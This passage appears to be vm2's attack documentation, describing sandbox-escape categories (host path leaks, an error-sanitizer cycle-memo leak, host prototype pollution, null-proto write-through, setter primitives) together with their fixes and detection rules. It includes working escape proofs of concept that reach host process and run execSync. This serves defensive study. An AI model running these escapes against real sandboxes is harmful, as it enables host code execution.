  • Peel call/apply in a bounded loop. Host Function.prototype.call/.apply are cached individually (otherFunctionCall/otherFunctionApply) β€” they must be distinguished because their argument shapes differ (call(this, ...args) keeps the callbacks in the same list, shifted; apply(this, argsArray) nests them one array deeper). Each iteration unwinds one layer via cached function identity (otherFromThis), never by reading an attacker getter (TOCTOU-safe).
  • Wrap at the effective slots. When the peel resolves to host then (wrap onFulfilled + onRejected) or catch (wrap onRejected), the callbacks are wrapped through the same makeSanitizedPromiseCallback used for the direct call, so the Category 38 rebuild runs regardless of invocation shape.
  • .apply nested arrays are snapshotted into fresh, trap-owned, getter-free storage (copyPromiseArgArray, length > 65535 bail) before the wrapped callbacks are written back, so the host machinery cannot observe a value different from the one vetted, and no raw sandbox object is mutated.
  • Fail closed on depth. The peel loop is bounded (MAX_PROMISE_PEEL = 64); exceeding it throws VMError rather than forwarding a possibly-unwrapped callback. Legitimate code never stacks call/apply anywhere near that deep, and a silent bail would be fail-open.

This restores Defense Invariant #3 (host-realm error carriers reaching sandbox callbacks are sanitized) at the invocation layer rather than the direct-call-site layer β€” every sandbox callback bound to a host Promise's then/catch is now sanitized regardless of how then/catch was invoked. It mirrors Category 37's promotion of the v6mx proto-mutator peel from positional to mechanism-independent.

Detection Rules

  • Sandbox source invoking a host-Promise method through indirection: .then.call(, .then.apply(, .catch.call(, .catch.apply(, or stacked .call.call / .apply.call chains terminating at a host Promise's then/catch.
  • A host onRejected/onFulfilled reached via such indirection reading a non-message own property of the received error (e.detail, e.originalError, e.context, …) and dereferencing it as an object/function.
  • A call/apply chain on a bridged host method exceeding a small depth (deny-on-exceed is the tripwire).

Considered Attack Surfaces

  • bind / Reflect.apply / Reflect.construct β€” verified already-safe: bind re-enters the trap with the direct target when the bound function is called; sandbox Reflect.apply invokes the target directly (direct-gate wraps it); Reflect.construct(then) throws (Promise methods are not constructors). All asserted in test/ghsa/GHSA-647f-g98j-qq25/repro.js.
  • Descriptor extraction β€” Object.getOwnPropertyDescriptor(proto, 'then').value then .call re-enters the apply trap and is normalized identically; on current Node it additionally trips the "incompatible receiver" brand check.
  • Fulfillment values carrying host objects β€” a host function that resolves with { secret: process } yields a functional proxy on the fulfill path. This is unchanged, pre-existing, documented vm2 behavior (the bridge wraps host objects functionally, not capability-restricted) and identical on the direct p.then(cb) path β€” not in scope of this category, which concerns the rejection rebuild channel only.

Fix shape

lib/bridge.js β€” normalizeHostPromiseCallbacks (+ helpers makeSanitizedPromiseCallback, copyPromiseArgArray, isHostFunctionCall/isHostFunctionApply, cached otherFunctionCall/otherFunctionApply). Node 8+ compatible (no post-ES2022 syntax). Tests: test/ghsa/GHSA-647f-g98j-qq25/repro.js (6 indirection vectors + 3 mixed/stacked siblings + 4 already-safe controls + 3 over-block guards).


Attack Category 48: Host Filesystem Path Leak via Host-Realm Error Stack

Advisories: GHSA-v27g-jcqj-v8rw, GHSA-x6m4-chr9-cg97

Tests: test/ghsa/GHSA-v27g-jcqj-v8rw/ (repro.js), test/ghsa/GHSA-x6m4-chr9-cg97/ (repro.js, adversarial.js)

Uses: Category 4: Error Object Exploitation

Supersedes: completes the GHSA-v27g-jcqj-v8rw fix β€” defaultSandboxPrepareStackTrace and CallSite host-frame redaction, documented under Category 4: Error Object Exploitation. v27g redacts host frames only when the stack is formatted in the sandbox realm; this category is the residual where the stack was formatted host-side and crosses the bridge pre-formatted.

Description

Error.prototype.stack is a lazily-computed, per-realm string. v27g installs defaultSandboxPrepareStackTrace and applyCallSiteGetters so that when the sandbox realm formats an Error's .stack, host frames (absolute paths, node: / internal/ pseudo-paths) are blanked and only sandbox frames + the message survive. That guarantee covers only sandbox-realm formatting.

A host-realm Error carries a .stack already formatted by the host (V8's default formatter, embedding absolute host paths, Node internals, and the embedding application's own source path). That string crosses the bridge to the sandbox verbatim β€” v27g's sandbox-realm formatter never runs on it. This is information disclosure (host filesystem layout, deployment path, vm2 install location); no code execution.

The config-free canonical trigger routes through vm2's own host-side transformer: sandbox eval("@@@ catch") (also new Function(…), GeneratorFunction/AsyncFunction constructors, multi-arg new Function) calls host.transformAndCheck, which throws a host-realm SyntaxError whose .stack names lib/transformer.js, lib/vm.js, lib/setup-sandbox.js, node:vm, and the embedder's files. But the primitive is general: any embedder-exposed host function that throws (sandbox: { f() { throw new Error() } }), and any host builtin that throws (Buffer.from(Symbol()), Buffer.alloc(-1)), delivers a host-formatted .stack the sandbox can read.

CVSS 3.1: 5.8 / Moderate (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N). CWE-209 (Information Exposure Through an Error Message), CWE-497 (Exposure of System Data).

Delivery paths (why one chokepoint is insufficient)

A host error surfaces to the sandbox in one of two shapes, chosen by V8-lazy-stack timing and by whether the carrier has dangerous own-props:

  1. Live bridge proxy β€” the sandbox reads e.stack (or Object.getOwnPropertyDescriptor(e,'stack').value, Reflect.get(e,'stack')) through the bridge get / getOwnPropertyDescriptor traps.
  2. handleException rebuild (sanitizeHostOwnProps, GHSA-m283) β€” the carrier is rebuilt as a fresh sandbox-realm Error, and .stack is carried across as a primitive own property via v = e[k], which never crosses the bridge get trap. A bridge-only patch leaves this path leaking (demonstrated by pairing with the GHSA-cfcw prototype-severance repro: a Buffer.from(Symbol()) stack leaks with zero bridge fires).

Mitigation

Three chokepoints, each dropping host frames from a host Error's .stack while preserving the message header and clean sandbox frames (a bare filename with no path separator, no URL scheme, no ..). All reuse a classifier mirroring v27g's isHostFrameFileName, extended to also treat file: / wasm: URL-scheme frames (ESM / WASM host frames) and ..-traversal relative paths as host:

  1. lib/bridge.js β€” get + getOwnPropertyDescriptor traps (redactHostStack). Gated by isOtherErrorObject, which ORs the [[ErrorData]] brand (host Object.prototype.toString β†’ "[object Error]", immune to prototype-chain severance) with a proto-walk to host Error.prototype (immune to Symbol.toStringTag spoofing) β€” so neither the GHSA-cfcw severance nor a tag override smuggles a host error's stack past redaction. Ordinary bridge-crossing objects (a non-Error host object with a stack string) are untouched β€” the embedder may legitimately expose such data. The descriptor trap must handle both V8 shapes: up to Node 20 stack is an own data property (redact desc.value), but from Node 22 (V8 12.x) it is an own accessor, and forwarding that getter would let Object.getOwnPropertyDescriptor(hostErr, 'stack').get.call(hostErr) (equally __lookupGetter__, Object.getOwnPropertyDescriptors) pull the raw host-formatted string through the apply trap. The accessor is therefore collapsed to a redacted data descriptor, and a throwing or non-string getter fails closed to no stack at all.
  2. lib/setup-sandbox.js β€” sanitizeHostOwnProps (x6m4RedactHostFramesFromStack). Redacts the .stack primitive on the m283 rebuild path (delivery path 2), which the bridge cannot reach.
  3. lib/vm.js β€” transformAndCheck (defense in depth). Every transformer/eval/Function compile error is sandbox-destined, so its whole frame section is truncated to the message header host-side, pre-bridge. Truncating the entire section (rather than line-filtering) makes the highest-frequency, config-free path immune to frame-format evasions (eval-origin nesting, exotic frame shapes) and to .stack-getter TOCTOU. Top-level VM.run / VMScript compile errors are destined for the host embedder and are deliberately untouched.

All redactors use module-load-cached String.prototype intrinsics and primitive string accumulation (no Array container, no sandbox-tamperable method reachable β€” Defense Invariant #11), are bounded against DoS, and fail closed. This restores the v27g guarantee (host frames redacted, sandbox frames + message preserved) independent of the realm that formatted the stack.

Detection Rules

  • Sandbox source reading .stack (or a stack descriptor) off a value caught from eval / new Function / a bridged host call.
  • A stack string delivered to the sandbox containing an absolute path, node: / internal/ / file: / wasm: frame, a ..-traversal path, or a vm2 lib/*.js source path.

Considered Attack Surfaces

  • Error.captureStackTrace / custom Error.prepareStackTrace on a caught host error β€” cannot re-expose the origin: the caught value is either a bridge proxy (CallSite getters redacted by v27g) or an already-rebuilt sandbox error (host CallSites gone). Asserted in adversarial.js.
  • Non-Error host object with a .stack string β€” out of scope: that is embedder-supplied data, not a V8-autopopulated error stack; isOtherErrorObject excludes it so legitimate data is never corrupted (same boundary as Category 38's "embedder intentionally exposes references").
  • Relative host frames without .. (e.g. a host launched so frames read foo/bar.js) β€” extremely narrow; a sandbox VMScript filename with a separator would be over-redacted if the classifier keyed on separators, so the classifier stays keyed on absolute / scheme / .. markers to avoid dropping legitimate sandbox frames.

Fix shape

lib/bridge.js (redactHostStack + isOtherErrorObject + isHostStackFrameFile), lib/setup-sandbox.js (x6m4RedactHostFramesFromStack in sanitizeHostOwnProps), lib/vm.js (redactTransformerErrorStack around transformAndCheck). Node 8+ compatible. Tests: test/ghsa/GHSA-x6m4-chr9-cg97/repro.js (8) + adversarial.js (9: Function-family, captureStackTrace/prepareStackTrace, toString, file://, .., host-builtin path-b).


Attack Category 49: Revisited Host Error Carrier Leaks a Live Proxy Through the Sanitizer Cycle Memo

Advisories: GHSA-x965-fc75-jpqh

Tests: test/ghsa/GHSA-x965-fc75-jpqh/ (repro.js, adversarial.js)

Uses: Category 38: Error.cause Host Reference Leak to Sandbox

Supersedes: closes the cycle-memo gap in the Category 38 fix. Category 38 rebuilds host-wrapped AggregateError / SuppressedError carriers into fresh sandbox-realm errors, but its cycle-detection memo stored a presence bit and returned the raw carrier on revisit β€” safe only for the seal-in-place carriers, not the rebuilt ones.

Description

handleException (lib/setup-sandbox.js) is the transformer's caught-exception chokepoint. It guards against cyclic error graphs with a visited WeakMap: on first encounter it records the carrier, and on a repeat encounter within the same traversal it short-circuits and returns without re-recursing. The Category 38 fix stored visited.set(e, true) and short-circuited with return e β€” the raw host carrier.

That is correct for carriers sanitized in place: a plain host Error has its .cause overwritten and its own properties sealed on the underlying host object (sanitizeErrorCause / sanitizeHostOwnProps), so the raw carrier returned on revisit is already neutralized. But the AggregateError / SuppressedError handlers do not seal in place β€” they snapshot-and-rebuild the carrier into a fresh sandbox-realm error and drop the original. The raw carrier and its sanitized replacement are therefore different objects, and the presence-bit memo cannot return the replacement. When the same host aggregate is revisited within one traversal, the short-circuit hands back the raw host proxy, which the rebuild re-embeds into the "sanitized" errors[] (or .error / .suppressed). Its own properties β€” err.leak = process, or a prototype-chain reference β€” are fully live: e.errors[i].leak.mainModule.require('child_process').execSync(...) β†’ host RCE on the exact channel Defense Invariant #3 promises to sanitize.

Attack Flow

  1. An embedder-exposed host function throws a host-wrapped AggregateError/SuppressedError whose graph references one node twice within a single handleException traversal β€” a self-cycle (agg.errors = [agg]), a duplicate in the array ([shared, shared]), or a mutual cycle (a.errors = [b]; b.errors = [a]) β€” with a host reference parked on a rebuild-surviving slot (agg.leak = process).
  2. Sandbox try { hostThrow() } catch (e) { … } routes e through handleException.
  3. The proto-walk dispatches to sanitizeAggregateError; the host-wrapped branch reads .errors and recurses handleException(item, visited) on each element.
  4. The second reference to the carrier hits the visited short-circuit β†’ return e (raw proxy) β†’ pushed into the rebuilt errors[].
  5. Sandbox walks e.errors[i].leak β†’ live host process β†’ RCE.

Canonical Example(s)

js
const {VM} = require('vm2');
// duplicate-in-array β€” the same host aggregate referenced twice
new VM({sandbox:{hostThrow(){
  const shared = new AggregateError([], 'shared'); shared.leak = process;
  throw new AggregateError([shared, shared], 'all failed');
}}}).run(`try{hostThrow()}catch(e){ e.errors[1].leak.mainModule.require('child_process').execSync('id') }`);

// self-cycle:  const agg = new AggregateError([],'x'); agg.errors=[agg]; agg.leak=process; throw agg;
// mutual:      a.errors=[b]; b.errors=[a]; b.leak=process; throw a;
// residual:    same PLAIN host Error listed twice with a prototype-chain leak
//              (sanitizeHostOwnProps rebuilds it but the memo still pointed at the raw carrier)
  • Nested duplicated host sub-aggregate, and a SuppressedError sharing a host sub-error with an aggregate: see test/ghsa/GHSA-x965-fc75-jpqh/repro.js.
  • Mixed graph AggregateError -> SuppressedError -> Error{cause} sharing one host node, and a SuppressedError self-cycle through .suppressed with a custom leak property: see test/ghsa/GHSA-x965-fc75-jpqh/adversarial.js.

Why It Works

The visited map conflated two different needs. For seal-in-place carriers the memo only needs a presence bit β€” a revisit can safely return the (now-neutralized) original. For rebuild carriers the memo must return the replacement, because the original is never neutralized. Storing true made a revisit resolve to the raw carrier for both. The rebuild also reads sub-errors before recursing, so the memo entry for the carrier itself did not yet point anywhere useful β€” the classic cyclic-structure rebuild problem.

Mitigation

Restore Defense Invariant #3 at the memo chokepoint by making the value stored in visited for a carrier be exactly what a revisit must return:

  • Default memo visited.set(e, e) β€” seal-in-place carriers resolve a revisit to themselves; the short-circuit returns the memoized value, never a bare true.
  • Two-phase rebuild for host-wrapped AggregateError / SuppressedError: construct the empty sandbox-realm replacement, register visited.set(carrier, replacement) before recursing into sub-errors (so every cycle shape terminates on the replacement), then install the sanitized children as plain own data properties via localReflectDefineProperty. Attacker own-properties are dropped by construction.
  • Memoize the sanitizeHostOwnProps rebuild too (a plain host error listed twice with a prototype-chain leak would otherwise return the raw carrier on the revisit).
  • Defense-in-depth: _blockHostWrapped at every rebuild embed site replaces any element that is still _isHostWrapped after the recursive call with a neutral sandbox Error β€” an independent second layer, agnostic to why an element remained host-wrapped, that also catches any future rebuild path forgetting to sanitize an element.

.message is copied only when it is a primitive string, so it carries no host reference; _isHostWrapped is spoof-proof because the bridge get trap returns isProxy === true before consulting the host object, so an own isProxy: false cannot suppress detection.

Detection Rules

  • A recursion memo (visited/seen WeakMap/Set) that stores a boolean and returns the input on revisit, while the same function rebuilds rather than mutates its input β€” the revisit and the rebuild diverge.
  • Any host-wrapped error rebuild that reads .errors / .error / .suppressed and re-embeds a recursion result without asserting the result is sandbox-realm.

Considered Attack Surfaces

  • TOCTOU on .errors / .error / .suppressed β€” each slot is read once into a local before iteration; a non-array .errors accessor fails localArrayIsArray and yields an empty replacement. Asserted in adversarial.js.
  • .message accessor returning a host object β€” copied only when typeof === 'string', so a non-primitive message is ignored.
  • Replacement construction throwing (new LocalAggregateError unavailable) β€” falls back to new LocalError(msg), still sandbox-realm; the fallback path is inside the same two-phase memo registration.

Attacks Host Prototype Mutation (`docs/attacks/host-prototype-mutation.md`)

Host Prototype Mutation

Writing into host-realm intrinsic prototypes from the sandbox: bridge set/defineProperty write-through, bridged setter primitives reached through the apply trap, Receiver confusion, and raw __proto__ accessors.

Defense invariants enforced by fixes in this family: 6 (see Defense Invariants).

Categories in this file: 20, 26, 30, 32, 37, 50.


Attack Category 20: Host Intrinsic Prototype Pollution via Bridge Write Traps

Advisories: GHSA-vwrp-x96c-mhwq, GHSA-m5q2-4fm3-vfqp, GHSA-3vgf-8m4q-q4qr, GHSA-59g5-pmg6-5gr4 (dup of GHSA-3vgf-8m4q-q4qr)

Tests: test/ghsa/GHSA-vwrp-x96c-mhwq/, test/ghsa/GHSA-m5q2-4fm3-vfqp/, test/ghsa/GHSA-3vgf-8m4q-q4qr/

Description

Before GHSA-vwrp-x96c-mhwq, BaseHandler.set and BaseHandler.defineProperty forwarded every sandbox write directly into the wrapped host object via otherReflectSet / otherReflectDefineProperty. Both traps now consult isProtectedHostObject first and forward only writes aimed at non-intrinsic host objects. For ordinary host instances (a Buffer, a host-provided config object) this is intentional and correct β€” sandbox code should be able to mutate state the host explicitly handed it. For host-realm intrinsic prototypes (Object.prototype, Array.prototype, Function.prototype, Error.prototype, etc.) it is catastrophic: the mutation is globally observable to every host-side consumer of those prototypes, enabling prototype pollution that crosses the sandbox boundary in the most damaging direction. deleteProperty and preventExtensions had analogous gaps β€” sandbox code could delete Object.prototype.hasOwnProperty from the host realm, or freeze host prototypes to durably break unrelated host code.

Attack Flow

  1. Reach a host intrinsic prototype. Walk the prototype chain via ({}).__lookupGetter__('__proto__') composed with Buffer.apply, ending at host Object.prototype (or Array.prototype, Function.prototype, etc.). Several earlier advisories (GHSA-grj5, GHSA-47x8, …) provided this walk; the same primitive lands here.
  2. Write through the bridge. With the bridge proxy wrapping host Object.prototype in hand, any of the following sandbox writes lands in the host realm:
    • hostProto.x = v β†’ set trap β†’ otherReflectSet(hostObjectPrototype, 'x', v).
    • Object.defineProperty(hostProto, 'x', {value: v}) β†’ defineProperty trap β†’ otherReflectDefineProperty(...).
    • Reflect.set(hostProto, 'x', v) / Reflect.defineProperty(hostProto, ...) β€” same traps.
    • delete hostProto.someProp β†’ deleteProperty trap β†’ otherReflectDeleteProperty(...).
    • Object.preventExtensions(hostProto) β†’ preventExtensions trap β†’ host prototype frozen forever.
  3. Observe pollution from host code. Any host-side code that subsequently reads from objects of the affected class sees the attacker's value.

Canonical Example

javascript
// (advisory GHSA-vwrp-x96c-mhwq)
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));
hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';
// Host-side: ({}).vm2EscapeMarker === 'polluted-object-prototype' β€” global pollution.

Why It Works

The bridge's design separated sandbox-realm reasoning from host-realm reasoning at the proxy boundary, but the four write traps (set, defineProperty, deleteProperty, preventExtensions) were unconditionally pass-through. Most host objects exposed to the sandbox are values the host intends to make mutable β€” so a blanket "no writes to host objects" rule would break legitimate API contracts. The actual invariant being violated is narrower: "host-realm objects whose state is observed by host code outside the sandbox must be read-only from the sandbox's perspective." Intrinsic prototypes are the canonical example of such objects.

Mitigation

createBridge() builds a closure-scoped WeakMap of "protected host objects" at bridge init, populated with every entry in otherGlobalPrototypes (the cached intrinsic prototypes β€” Object, Array, Function, Error and subclasses, RegExp, Promise, Number/String/Boolean wrappers, Date, Map, Set, WeakMap, WeakSet, AsyncFunction, GeneratorFunction, AsyncGeneratorFunction, SuppressedError, AggregateError, VMError) plus each prototype's .constructor value (so the host Object/Array/Function constructors themselves are also protected). The four write traps in BaseHandler β€” set, defineProperty, deleteProperty, preventExtensions β€” now check isProtectedHostObject(object) before any otherReflect* mutation call and throw VMError(OPNA) on hit. The check fires only when !isHost (sandbox-originated writes); host-side embedder code writing to its own intrinsics through other paths is unaffected.

The protected set is captured before any sandbox code runs, and is keyed on raw host-realm object identity β€” so prototype-pollution attempts that try to subvert the check itself (e.g., Array.prototype.constructor = attackerFn) fail because the WeakMap holds the original references.

Symbol-key augmentation (GHSA-m5q2-4fm3-vfqp): the per-object isProtectedHostObject check fires only for intrinsic prototypes, so non-intrinsic host objects (a plain {} exposed via vm.sandbox.x, a host function, a Buffer instance) remained writable from the sandbox. That is intentional β€” embedders need to expose mutable host state β€” but it interacts badly with Category 8-class symbol leaks: a sandbox that obtains a real nodejs.* cross-realm symbol could install a host-side hook (util.promisify, stream brand, webstream controller) on any such non-protected host object and steer host control flow without ever needing host RCE. The four write traps (set, defineProperty, deleteProperty β€” plus preventExtensions already covered by the original Cat-20 fix) now also reject any sandbox-originated key that satisfies isDangerousCrossRealmSymbol(key). This is the symmetric counterpart to the existing read-direction symbol filter: even if a future bypass surfaces a dangerous symbol back inside the sandbox, it cannot be installed as a key on any bridge-wrapped host object.

Binary-data & iterator intrinsic augmentation (GHSA-3vgf-8m4q-q4qr / GHSA-59g5-pmg6-5gr4): the protected inventory was populated from globalsList, which listed only Number/String/Boolean/Date/RegExp/Map/WeakMap/Set/WeakSet/Promise/Function (plus Object/Array/errors). It omitted the entire binary-data family (ArrayBuffer, SharedArrayBuffer, DataView, every TypedArray, and the abstract %TypedArray%.prototype) and the iterator family (ArrayIterator.prototype, the String/Map/Set/RegExpString iterator prototypes, and the shared %IteratorPrototype%). Because Buffer extends Uint8Array, the exact Cat-20 walk reaches host Uint8Array.prototype / %TypedArray%.prototype / ArrayBuffer.prototype (and, from Buffer.from([1]).values(), the host iterator prototypes) β€” none of which were protected β€” so Reflect.defineProperty polluted them globally: a fresh host-side new Uint8Array(1) or [].values() observed the sandbox's marker, and overwriting ArrayIterator.prototype.next corrupts every host iteration. The named binary-data globals are now added to globalsList, and the abstract prototypes (%TypedArray%, %IteratorPrototype%, and the concrete iterator prototypes) are resolved structurally and added to thisGlobalPrototypes (mirroring the AsyncFunction/GeneratorFunction handling), so they flow into protectedHostObjects, the proto-mapping table, and the Category 8 (GHSA-47x8-96vw-5wg6) identity map like every other intrinsic. This realizes the "Future Node intrinsics" item tracked under Considered Attack Surfaces below.

Detection Rules

  • hostProto.x = v β€” direct assignment to a bridge proxy of an intrinsic prototype.
  • Object.defineProperty(hostProto, ...) / Reflect.defineProperty(...) β€” descriptor-based pollution.
  • Reflect.set(hostProto, k, v) β€” reflective assignment.
  • delete hostProto.x β€” sandbox-side property deletion on host intrinsic.
  • Object.assign(hostProto, src) β€” bulk pollution via host-side [[Set]] calls.
  • Object.preventExtensions(hostProto) / Object.freeze(hostProto) β€” durable host DoS.

Considered Attack Surfaces

  • Non-intrinsic host objects (Buffer instances, host-config objects, modules exposed via NodeVM externals) remain mutable from the sandbox. This is intentional β€” the host explicitly chose to expose them. The vulnerability class is specifically about implicit mutability of cross-cutting host invariants.
  • Future Node intrinsics. The binary-data (ArrayBuffer/SharedArrayBuffer/DataView/TypedArray/%TypedArray%) and iterator (ArrayIterator/String/Map/Set/RegExpString iterators/%IteratorPrototype%) families are now protected (GHSA-3vgf-8m4q-q4qr / GHSA-59g5-pmg6-5gr4 β€” see the augmentation note above). Remaining un-cached intrinsics (AsyncIterator.prototype, Temporal.*, Intl.* prototypes, WeakRef.prototype, FinalizationRegistry.prototype) extend protection automatically once added to globalsList / thisGlobalPrototypes. Tracked as a future-risk item β€” see "Future Risks" below.

Attack Category 26: Sandbox-Realm Null-Proto via Bridge `from()` β€” Set-Trap Write-Through

Advisories: GHSA-mpf8-4hx2-7cjg, GHSA-9vg3-4rfj-wgcm

Tests: test/ghsa/GHSA-mpf8-4hx2-7cjg/, test/ghsa/GHSA-9vg3-4rfj-wgcm/

Uses: Category 1 (host Function via .constructor), Category 6 (bridge set trap as the actual leak vector).

Supersedes: defense-in-depth portion of GHSA-mpf8-4hx2-7cjg's fix that extended from() to handleException and globalPromise.prototype.then onFulfilled.

Description

bridge.from(other) constructs a sandbox-side proxy whose internal target the bridge treats as an other-realm (host) object. The proxy's set trap therefore unwraps incoming sandbox bridge proxies (otherFromThis(value)) back to their raw host references and writes them directly onto the underlying target via otherReflectSet(object, key, value).

When from() is called from a sandbox-side path with a sandbox-realm null-proto value, the proxy's underlying target IS the sandbox object. The write-through path then stores raw host references onto a sandbox-visible object, readable via the original sandbox reference (which bypasses the proxy entirely). Reading .constructor on a leaked host function yields host Function; Function('return process')() is RCE.

The post-GHSA-mpf8 hardening (commit b57ac2d, "setup-sandbox defense-in-depth (mpf8 symmetry)") added from() calls in three sandbox-side spots β€” handleException (transformer-instrumented JS catch path), globalPromise.prototype.then onFulfilled wrapper, and the setHostPromiseSanitizers install β€” for "symmetry" with the original GHSA-mpf8 fix. Two of those callsites receive sandbox-realm values and turn them into write-through proxies; this is the leak path GHSA-9vg3-4rfj-wgcm exploits.

CVSS:3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow

  1. Sandbox creates a null-proto carrier: const o = {__proto__: null}.
  2. Sandbox throws it: throw o. Transformer-instrumented catch calls e = handleException(e).
  3. handleException was passing e through from(e). With e's prototype being null, bridge.from() had no proto-mapping to consult and built a sandbox-side proxy treating o as host-realm.
  4. Sandbox writes a sandbox-side proxy of a host function onto the proxy: e.f = Buffer.prototype.inspect. The bridge set trap converts the sandbox value to host realm via otherFromThis(value), yielding the raw host inspect, then stores it on the underlying target β€” which is the sandbox object o.
  5. Sandbox reads via the original reference: o.f returns the raw host function (no proxy in the way; o IS sandbox-realm, so plain property access bypasses the bridge entirely).
  6. o.f.constructor is host Function β†’ Function('return process')() β†’ host process β†’ RCE.

The same bug exists on the globalPromise.prototype.then onFulfilled path: Promise.resolve({__proto__:null}).then(e => { e.f = HostFn; ... }).

Canonical Examples

javascript
// (advisory GHSA-9vg3-4rfj-wgcm)
const {VM} = require("vm2");
new VM().run(`
  const o = {__proto__: null};
  try {
    throw o;
  } catch (e) {
    e.f = Buffer.prototype.inspect;
    o.f.constructor("return process")()
      .mainModule.require('child_process').execSync('touch pwned');
  }
`);
javascript
// Promise.then variant
new VM().run(`
  (async () => {
    const o = {__proto__: null};
    return Promise.resolve(o).then(e => {
      e.f = Buffer.prototype.inspect;
      return o.f.constructor('return process')();
    });
  })()
`).then(p => console.log(p)); // host process leaked

Why It Works

bridge.from() (= thisFromOtherWithFactory(defaultFactory, other)) is defined for host-realm inputs. Its internal logic walks the prototype chain looking for a protoMappings entry; if proto is null and no mapping found, it creates a default proxy via thisProxyOther(factory, other, null, dangerous). The bridge has no realm-tagging on raw values, so it cannot distinguish "host null-proto object the sandbox should see wrapped" (the GHSA-mpf8 motivating case) from "sandbox null-proto object the sandbox already owns" (this GHSA's case).

The post-GHSA-mpf8 commit b57ac2d extended from() to two sandbox-side callsites β€” handleException and globalPromise.prototype.then onFulfilled β€” purely for "symmetry"; no exploit existed for the sandbox-side path at the time. Those callsites do not receive host-realm values in normal flow: host throws are pre-converted by the bridge apply-trap's thisFromOtherForThrow, and host-promise resolutions are intercepted at the bridge level via normalizeHostPromiseCallbacks. The "symmetry" wrap therefore only ever fires on sandbox-realm values, where it creates the dangerous write-through proxy.

Mitigation

Restores Defense Invariant 2 ("All caught exceptions are sanitized") with the right sanitizer for each callsite's actual realm context, and Defense Invariant 1 by ensuring from() is not used to "wrap" sandbox-realm values into host-treating proxies.

lib/setup-sandbox.js:

  • handleException (line ~876): e = from(e) β†’ e = ensureThis(e). ensureThis returns sandbox-realm values unchanged and walks the proto chain only for host-mapped values, so a sandbox null-proto value stays sandbox-realm. SuppressedError / AggregateError sub-error recursion still works because each sub-call routes through the same ensureThis and the sub-error proto chain reaches a known host Error prototype mapping for genuinely-host sub-errors.
  • globalPromise.prototype.then onFulfilled wrap (line ~283): same change. The host-promise resolution path is unaffected because it goes through normalizeHostPromiseCallbacks in lib/bridge.js β€” the apply-trap promise-boundary normalizer, which normalizes the then/catch argument pair by wrapping the callback slots in place β€” and that path keeps using from() (correct β€” values there ARE host-realm).
  • bridge.setHostPromiseSanitizers install (line ~959): the rejection sanitizer is now e => handleException(from(e)) instead of handleException. The explicit outer from(e) preserves the GHSA-mpf8 invariant for genuinely-host null-proto rejection values (they reach sandbox callbacks bridge-wrapped, not raw); the inner handleException then performs SuppressedError / AggregateError recursive sanitization on the wrapped value.

The fix surface is three lines of code in setup-sandbox.js, no bridge changes.

Detection Rules

  • from(value) calls in sandbox-side code paths β€” lib/setup-sandbox.js and any future sandbox-side callsite. Whenever the value can be sandbox-realm by construction (transformer catch path, sandbox-Promise rejection, executor catch), the call must use ensureThis (sandbox-passthrough for unmapped values) instead of from (always-wrap).
  • {__proto__: null} followed by throw or Promise.resolve(...) in untrusted code review β€” the canonical attack carrier. Innocuous on its own, but combined with property assignment in catch / .then it's a write-through probe.
  • obj.constructor("return process") or obj.f.constructor("return ...") patterns β€” the post-leak escape primitive. Flag in code review even when wrapped in try/catch.
  • Reverts of the b57ac2d "symmetry" change β€” any future commit re-introducing from() in handleException or sandbox-side Promise.prototype.then onFulfilled must re-prove the realm assumption holds for every callsite reachable on those paths.

Considered Attack Surfaces

  • localPromise constructor catch wrapper (line ~76): reject(handleException(e)). The executor runs in the sandbox; e is a sandbox-realm thrown value (host throws inside an executor that was passed through the bridge would already be wrapped at the bridge boundary). handleException now uses ensureThis internally, so this path is safe.
  • Sandbox-side localPromise.prototype.then onRejected wrap (line ~1170): also routes through handleException. Same reasoning β€” sandbox-realm rejection value, ensureThis correctly passes through.
  • readonly() factory from(mock) call (line ~1281): mock is a sandbox-supplied user value that the embedder asked to read-only-mock onto a host target. The wrap is intentional (the value crosses TO the host as the read-side data). Sandbox cannot exploit the resulting proxy because it doesn't have a sandbox-side reference to the underlying mock object identity.
  • Bridge-level normalizeHostPromiseCallbacks (lib/bridge.js) β€” the promise-boundary normalizer that normalizes the then/catch argument pair for host Promise.prototype.then / .catch invocations: still uses from() directly (installed as the fulfillment sanitizer by bridge.setHostPromiseSanitizers(…, from) in lib/setup-sandbox.js), correct because at that layer the value is host-realm by construction (delivered from host Promise machinery).

Attack Category 30: Host Prototype Mutation via Bridged Setter Primitives

Advisories: GHSA-v6mx-mf47-r5wg, GHSA-9vg3-4rfj-wgcm

Tests: test/ghsa/GHSA-v6mx-mf47-r5wg/, test/ghsa/GHSA-9vg3-4rfj-wgcm/

Uses: Category 2: Prototype Chain Manipulation, Category 4: Error Object Exploitation, Category 7: Promise and Async Exploitation.

Description

The bridge's set / defineProperty / setPrototypeOf proxy traps block direct mutation of host-realm objects from the sandbox (isProtectedHostObject). But the apply trap lets sandbox code invoke host functions with a host object as this. When the function being applied is host's Object.prototype.__proto__ setter (or any prototype-mutating intrinsic β€” Object.setPrototypeOf, Reflect.setPrototypeOf, Object.prototype.__defineSetter__, etc.), the actual mutation happens inside the host intrinsic with this = the raw host object, bypassing every write trap because no proxy is involved in the assignment.

Severing even a non-protected host prototype (Node-internal NodeError.prototype, a per-error [[Prototype]], etc.) is enough to break downstream bridge invariants: once a host-realm chain is truncated, the bridge's proto-walking helpers (thisFromOtherWithFactory, thisFromOtherForThrow, thisEnsureThis) can no longer find a registered mapping at the right level, and the value can fall through unwrapped. From there e.constructor.constructor resolves to host Function, and new HostFunction("return process")() yields RCE.

The PoC reaches host's __proto__ setter via:

javascript
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

{}.__lookupSetter__ is sandbox-side but connect()'ed to host's, so when applied through Buffer.call.call(...) it returns host's Object.prototype.__proto__ setter (wrapped as a bridge proxy). Calling setProto.call(<wrapped host object>, null) invokes the wrapped host setter via the apply trap. Before this fix the trap simply unwrapped context and forwarded the call to otherReflectApply(hostSetter, rawHostObject, [null]), mutating the host object's prototype.

The canonical PoC pairs the setter primitive with WebAssembly.compileStreaming() to surface a host-realm TypeError:

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow

